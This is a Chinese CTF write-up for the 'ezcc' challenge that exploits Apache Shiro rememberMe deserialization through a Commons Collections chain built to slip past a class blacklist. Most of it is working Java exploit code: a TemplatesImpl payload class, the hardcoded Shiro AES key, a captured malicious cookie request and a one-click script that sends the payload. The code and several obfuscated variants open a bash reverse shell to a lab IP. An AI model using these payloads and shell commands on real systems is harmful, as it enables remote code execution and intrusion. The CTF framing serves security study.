shiro反序列化cc链绕黑名单【ezcc比赛】
1 2 3 4
| <regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp> <regexp>^org\.apache\.commons\.beanutils\.BeanComparator$</regexp> <regexp>^org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp> <regexp>^java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
|
成功反弹到windows的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| package com.govuln;
import cn.hutool.http.HttpRequest; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.MapTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.DefaultedMap; import org.apache.commons.collections.map.LazyMap; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
HashMap expmap = new HashMap(); expmap.put(tme,"xxxxxx"); outerMap.clear();
Field f = LazyMap.class.getDeclaredField("factory"); f.setAccessible(true); f.set(outerMap, transformer); serialize(expmap);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test109.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.govuln;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet { public Evil() throws Exception{
super(); try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.19.1/7777 0>&1"}); p.waitFor(); }catch (Exception e){}
} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.nio.file.FileSystems; import java.nio.file.Files;
public class exp { public static void main(String []args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\02idea_project2\\untitled\\test109.bin"));
AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| GET /ezcc/ HTTP/1.1 Host: 192.168.19.148:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.19.148:8888/ezcc/login.jsp;jsessionid=80E6E849D04038A9ABA3674CB15AAD53 Connection: close Cookie: rememberMe=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 Upgrade-Insecure-Requests: 1 Priority: u=0, i
|


一键化优雅exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.example;
import cn.hutool.http.HttpRequest; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
HashMap expmap = new HashMap(); expmap.put(tme,"xxxxxx"); outerMap.clear();
Field f = LazyMap.class.getDeclaredField("factory"); f.setAccessible(true); f.set(outerMap, transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expmap); oos.close(); byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF=="); AesCipherService aes = new AesCipherService(); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); String rem = ciphertext.toString();
String url="http://192.168.19.148:8888/ezcc/"; HttpRequest httpRequest = HttpRequest.get(url).cookie("rememberMe="+rem); httpRequest.execute();
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet { public Evil() throws Exception{ super(); try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.19.1/7777 0>&1"}); p.waitFor(); }catch (Exception e){} } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|

验证几个问题
- 包名是否影响【没影响】
- 执行命令的方式,base64等,是否影响【没影响】【有等待时间】
- 能否本地windows反弹【成功】
- 能否本地一键化执行命令【成功】
命令执行方式无影响:
1
| Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.19.1/7777 0>&1"});
|
1
| Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.19.1/7777<&1");
|
1
| Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
|
1 2 3 4 5
| try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.19.1/7777 0>&1"}); p.waitFor(); }catch (Exception e){}
|
包名是否影响【没影响】
能否本地一键化执行命令【成功】
此链子碰到的关键问题:
2.cc6+templates的绕过技巧
4.序列化执行命令解决。cc6的问题解决
6.如何根据pdf的序列化执行,改成序列化不执行问题。即问题4
在 commonscollections 3.2.1 中最常用的两个非属于 ConstantTransformer 和 InvokeTransformer,当这两个类被禁用后就需要寻找替代品,InvokeTransformer 的替代品很容易找到,就是在commonscollections 4.0 出现的较为频繁的 InstantiateTransformer,替代 ConstantTransformer 的找到的是很少被利用的 MapTransformer,可以看一下它的 transform 方法
新建 MapTransformer 对象时 iMap 是可控的。
当我们触发 tranform 方法时它会触发 iMap 的 get 方法,至于map用什么?HashMap其实就是最简单的一种答案。
结果就是可以直接返回 key 值对应的 value,那其实效果就和 ConstantTransformer 返回原始值差不多,只不过我们需要提前给值配一个对应的键,参考CC6的前半部分构造我们可以顺利的到达LazyMap.get 或 DefaultedMap.get,然后通过其get方法中的 transform 方法进入ChainedTransformer 的 transform,此时传入的键对应的是链子构造时 TiedMapEntry 传入的键值。这里传的是 keykey,也就是我们将加入的 MapTransformer 的 hashMap 的键值设置为 keykey,那么我们就可以通过 MapTransformer 返回我们需要的任意值,效果同ConstantTransformer#Transform。参考之前 InstantiateTransformer 的利用方法。然后后半部分拼接一下,一条可以绕过 ConstantTransformer 和 InvokeTransformer 的链子就生成了,这里采用 DefaultedMap
pdf的cc+shiro思路分析:
之前P牛的安全漫谈中有涉及过 CommonsCollectionsShiro 的写法,避免非Java自身的数组导致的报错,通过TiedMapEntry作为中继, 调用LazyMap/DefaultedMap的get方法,再将构造好的TemplatesImpl(key)作为 InvokerTransformer#transform 方法的 input 传入,也就是通过InvokerTransformer#transform 去调用 TemplatesImpl#newTransformer 从而触发字节码命令执行。结合上面的思路也可以用 InstantiateTransformer 来执行,将 key 设置为 TrAXFilter.class 并配置好TemplatesImpl 实例需要的系数就可以实现字节码命令执行的效果(采用的还是刚才的 Evil.class,测试环境为 Shiro1.2.4)
也是可以在 ConstantTransformer 和 InvokeTransformer 被写入黑名单的时候用InstantiateTransformer 触发字节码命令执行。
比赛的坑:
- 访问ezcc路由才能正常访问;
- 由于有/tmp/serialkiller.conf文件,在本地win上部署有些问题。
- 删去sessionid的值;否则不会读取cookie的序列化数据;
- 真实环境没法使用transform数组;
- pdf的第二个测试代码才行;
- pdf的代码弹计算器是序列化的执行,而非实际的执行;
参考:[2022数字中国创新大赛车联网安全赛初赛]ezcc